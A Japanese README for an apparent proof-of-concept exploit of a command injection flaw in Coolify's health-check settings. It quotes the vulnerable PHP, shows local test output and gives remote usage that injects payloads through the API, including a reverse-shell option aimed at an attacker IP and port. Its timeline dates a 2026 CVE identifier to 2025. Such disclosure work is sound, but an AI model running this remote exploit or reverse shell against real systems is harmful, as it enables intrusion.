
ヘルスチェックにおけるOSコマンドインジェクション → リモートコード実行
Coolifyのヘルスチェック設定におけるOSコマンドインジェクションの概念実証エクスプロイトです。
認証されたユーザーは、デプロイされたコンテナ内で任意のコマンドを実行できました。
Coolify は人気のオープンソース、セルフホスト型デプロイプラットフォーム(GitHubスター30,000以上)で、Heroku、Vercel、Netlifyの無料代替です。
Coolifyのヘルスチェック設定において、重大なOSコマンドインジェクション脆弱性が発見されました。health_check_host、health_check_method、health_check_path パラメータがサニタイズなしでシェルコマンドに直接展開され、認証された任意のユーザーがデプロイコンテナ内で任意のコマンドを実行できるようになります。
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ タイプ │ OSコマンドインジェクション (CWE-78) │
│ 深刻度 │ 高 — CVSS 8.8 │
│ 攻撃ベクトル │ ネットワーク(認証済み) │
│ 影響を受ける │ Coolify <= v4.0.0-beta.460 │
│ 修正バージョン │ Coolify >= v4.0.0-beta.469 │
│ 修正コミット │ 23f9156c7 │
│ 報告者 │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ ユーザー入力をシェルコマンドに直接 — escapeshellarg()なし!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
このPoCスクリプトは、2つのモードでCVE-2026-59734を検証およびエクスプロイトします:
| モード | 説明 | リスク |
|---|---|---|
--local | 脆弱なコードパターンをオフラインでシミュレートします。ネットワークリクエストは行いません。 注入可能な3つのパラメータすべてをテストし、修正を確認します。 | ✅ 安全 |
--remote | API経由で実際のCoolifyインスタンスをエクスプロイトします。ペイロードをヘルスチェック設定に注入し、デプロイをトリガーします。 |
host、method、path 経由のインジェクションを検証し、escapeshellarg() による修正が機能することを確認--lhost / --lport による組み込みリバースシェルペイロードgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# 安全なローカル検証を実行
./coolify_healthcheck_rce_poc.sh --local
期待される出力:
═══ ローカル脆弱性パターン検証 ═══
┌─ テスト1: health_check_hostインジェクション
│ ✅ 脆弱 — 注入したコマンドが正常に実行されました
┌─ テスト2: health_check_methodインジェクション
│ ✅ 脆弱 — methodパラメータも注入可能
┌─ テスト3: health_check_pathインジェクション
│ ✅ 脆弱 — pathパラメータも注入可能
┌─ テスト4: escapeshellarg() で問題が修正されることを確認
│ ✅ 安全 — サニタイズされた入力によりインジェクションを防止
# 基本的なPoC — コンテナ内に証明ファイルを作成
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# リバースシェル
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# 自動クリーンアップあり(エクスプロイト後に元の設定を復元)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
使用法:
ローカル検証(安全、オフライン):
./coolify_healthcheck_rce_poc.sh --local
リモートエクスプロイト(認証が必要):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [オプション]
オプション:
--url CoolifyインスタンスのURL(例: https://coolify.example.com)
--token API Bearerトークン
--uuid ターゲットアプリケーションのUUID
--payload カスタムインジェクションペイロード
--lhost リバースシェル用の攻撃者IP
--lport リバースシェル用の攻撃者ポート(デフォルト: 4444)
--cleanup エクスプロイト後に元の設定を復元
APIトークン:
アプリUUID:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
発見、エクスプロイト、学んだ教訓の全プロセスを詳細なブログ記事にまとめました:
🔗 CoolifyでOSコマンドインジェクション(RCE)を発見した方法 — Medium
完全なエクスプロイトデモをYouTubeでご覧ください:
🔗 CVE-2026-59734 — Coolify RCEデモ — YouTube
このツールは教育および許可されたセキュリティテスト目的でのみ提供されます。
このPoCは、セキュリティ研究者やバグバウンティハンターが明示的で文書化された許可を得て監査するシステムをテストするためのものです。所有していないシステムに対する不正使用は固く禁止されており、地域、州、連邦の法律に違反する可能性があります。
著者(CyberTechAjju)は一切の責任を負わず、このツールによって引き起こされた誤用や損害について責任を負いません。
| ⚠️ 認証が必要 |
| 日付 | イベント |
|---|
| 2025年1月6日 | 🔍 GitHub Security Advisory経由で発見・報告 |
| 2025年1月16日 | ✅ Coolifyメンテナーが報告を受け入れる |
| 2025年2月24日 | 🔬 調査確認 |
| 2025年3月18日 | 🔧 修正コミット (23f9156c7) |
| 2025年4月12日 | 📦 v4.0.0-beta.469で修正リリース |
| 2025年7月 | 🏷️ CVE-2026-59734割り当て、アドバイザリ公開 |
| CVE | ターゲット | タイプ | 深刻度 |
|---|
| CVE-2026-45156 | Nextcloud user_oidc | JWT署名バイパス | 🔴 クリティカル (9.8) |
| CVE-2026-59734 | Coolify | OSコマンドインジェクション | 🟠 高 (8.8) |
"彼らはサニタイズを忘れた。私は報告を忘れなかった。"
🇮🇳 地球をハックしろ。🌎💻